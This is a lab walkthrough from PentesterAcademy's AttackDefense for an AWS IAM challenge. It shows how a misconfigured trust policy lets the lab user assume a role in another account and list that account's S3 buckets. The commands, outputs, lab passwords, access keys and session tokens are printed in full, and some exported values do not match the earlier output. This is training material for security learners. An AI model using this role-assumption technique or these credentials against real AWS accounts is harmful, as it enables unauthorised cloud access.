
ATTACK
DEFENSE
by PentesterAcademy

Name	Misconfigured Trust Policy
URL	https://attackdefense.com/challengedetails?cid=2247
Type	AWS Cloud Security : IAM

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Solution:

Step 1: Click on the lab link button to get access to AWS lab credentials.

Access Credentials to your AWS lab Account

Login URL	https://795650787139.signin.aws.amazon.com/console
Region	US East (N. Virginia) us-east-1
Username	student
Password	Ad4bb8n7FQPmzerb
Access Key ID	AKIA3SQD3Q5BTMEMLYST
Secret Access Key	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

Step 2: Configure AWS CLI to use the provided credentials.

```
┌──(kali㉿kali)-[~]
└─$ aws configure
AWS Access Key ID [****************TYPS]: AKIA3SQD3Q5BTMEMLYST
AWS Secret Access Key [****************WE0a]: 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
Default region name [us-east-1]:
Default output format [None]:
```

Step 3: Assume role on ad-LoggingRole using AWS CLI.

Command: aws sts assume-role --role-arn arn:aws:iam::276384657722:role/ad-LoggingRole --role-session-name ad_logging

```
┌──(kali㉿kali)-[~]
└─$ aws sts assume-role --role-arn arn:aws:iam::276384657722:role/ad-LoggingRole --role-session-name ad_logging
{
    "Credentials": {
        "AccessKeyId": "ASIAUAWOPGE5AZ3PEUX5",
        "SecretAccessKey": "MCmW6xf3p/I4GayFm7jvzX96k+mo/DkcjNfg2MDy",
        "SessionToken": "IQoJb3JpZ2luX2VjEN/////////wEaCXVzLWVhc3QtMSJHMEUCIB5GcDHZauriB1xonnAd8dnp6FFJFaoJoeU2
0hpWoYxqkTsqoAII2P/////////ARAAGgwyNzYzODQ2NTc3MjIiDEbJAthzKSxLhf+v0Sr0Af9hvpB6dM4LMf8UxN3tustiQ4jeCPIJaSz/o1Xty
JMtWV8rCKx6hReUhVA1bp+6vzu9ABD0Fpzc2SP8jdLNmSJwULsHFoYlffyTTeOCXwcA5FY8UQyt8uCT6mzCnNYWpXvND0oXhMOkXlz/W7UaoSYWwz
qRV0SA9zzGVKkrX3atG1BmzHh63CsyUcJnDHssl0v8NW6LCLiD/siMIhXAL9qaT4GlVGmj9uyaGcbTSSQDzewwqLGagQY6nQHiirpSrFen5T2txzR
GA8YHXbws33vHw9Q782QCSgTDuT7p5U/tgcECMGgqkMJFbNu7c8lXqoNeEzhUB5k4I47szH20ChTQwLmNpCvpXBSCZZ2kA35DGlu/b3DSzLl8vSdY
        "Expiration": "2021-02-12T16:03:04+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAUAWOPGE5JQT23CRUN:ad_logging",
        "Arn": "arn:aws:sts::276384657722:assumed-role/ad-LoggingRole/ad_logging"
    }
}
```

Step 4: Set the access key id, secret access key, and session token in environment variables.

Commands:

```
export AWS_ACCESS_KEY_ID=ASIAUAWOPGE5MLLIXWLT
export AWS_SECRET_ACCESS_KEY=56D0XziDGzEtJ07JjPUGNPbW5Oz2Tc0t6kW5NtDWex
export
AWS_SESSION_TOKEN=FwoGZXIvYXdzEN3/////////wEaDJnu8Tic/B/RZybq4iKuAbuCALFvFW
zhzf/0Mhq2jM+mcqnViVS82t9+fnjw2WL0OMC53eNEH5bmIP3aaberntXbwThhiq6ZyWDSw02G
ucT7Y0kglbZCjjKuRutclLTDSnWKUqQcJKjtR4etwN1EHv7vROBc31fAcsibuDG1kOocPj9XmzVv
ZZkzsVOg2+dXCT5NC0QVlgUjHqoiMu94Zdoz1aCnz4ZbEj5fUOKzPdvRQQ/71XOFhf35aAPCh
yjvpM6BBjIthT27I6hAjZd+q33uIilZrivmu9vnbS3yFA6WEniTSu9xZwmH5K0HYcJtXQjl
```

```
┌──(kali㉿kali)-[~]
└─$ export AWS_ACCESS_KEY_ID=ASIAUAWOPGE5AZ3PEUX5
export AWS_SECRET_ACCESS_KEY=MCmW6xf3p/I4GayFm7jvzX96k+mo/DkcjNfg2MDy
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEN//////////wEaCXVzLWVhc3QtMSJHMEUCIB5GcDHZaur
0hpWoYxqkTsqoAII2P//////////ARAAGgwyNzYzODQ2NTc3MjIiDEbJAthzKSxLhf+v0Sr0Af9hvpB6dM4LMf8U
JMtWV8rCKx6hReUhVA1bp+6vzu9ABD0Fpzc2SP8jdLNmSJwULsHFoYlffyTTeOCXwcA5FY8UQyt8uCT6mzCnNYWp
qRV0SA9zzGVKkrX3atG1BmzHh63CsyUcJnDHssl0v8Nw6LCLiD/siMIhXAL9qaT4GlVGmj9uyaGcbTSSQDzewwqL
GA8YHXbws33vHw9Q782QCSgTDuT7p5U/tgcECMGgqkMJFbNu7c8lXqoNeEzhUB5k4I47szH20ChTQwLmNpCvpXBS
```

Step 5: Check the caller identity.

Command: aws sts get-caller-identity

```
┌──(kali㉿kali)-[~]
└─$ aws sts get-caller-identity
{
    "UserId": "AROAUAWOPGE5JQT23CRUN:ad_logging",
    "Account": "276384657722",
    "Arn": "arn:aws:sts::276384657722:assumed-role/ad-LoggingRole/ad_logging"
}
```

Step 6: Get attached policies for role ad-LoggingRole

Command: aws iam list-attached-role-policies --role-name ad-LoggingRole

```
┌──(kali㉿kali)-[~]
└─$ aws iam list-attached-role-policies --role-name ad-LoggingRole
{
    "AttachedPolicies": [
        {
            "PolicyName": "AmazonS3ReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess"
        },
        {
            "PolicyName": "IAMReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
        }
    ]
}
```

The role has read access on the S3 and IAM service of the account.

Step 7: List s3 buckets

Command: aws s3 ls

```
┌──(kali㉿kali)-[~]
└─$ aws s3 ls
2021-01-20 13:58:42 ad-secret-bucket-for-role
2020-12-04 23:53:07 attackdefense-discover-bucket
2020-10-30 03:23:51 data-extractor-repo
2020-10-29 17:18:03 developers-secret-bucket
2020-11-06 05:35:50 file-uploader-saved-files
2020-12-05 20:03:27 insecurecorp-code
2020-12-05 20:03:53 insecurecorp-customer
2020-12-05 20:04:13 insecurecorp-documents
2021-01-01 18:37:24 ipcalc
2021-01-01 19:19:23 ipcalc-flag
2021-01-01 14:40:16 lab-private-backup-resource
2021-01-01 14:37:17 lab-webapp-static-resource
2020-12-12 12:44:43 lab-webapp-static-resources
2020-12-31 22:48:53 owasp-top-10-flags
2020-11-06 01:59:14 serverless-ctf-flags
2020-12-18 21:32:18 shared-bucket-for-applications
2020-10-29 22:03:52 temporary-public-image-store
2020-10-30 01:48:53 users-personal-files
```

Successfully assumed the role on another account and accessed S3 buckets.

References:

1. AWS CLI (https://docs.aws.amazon.com/cli/latest/reference/)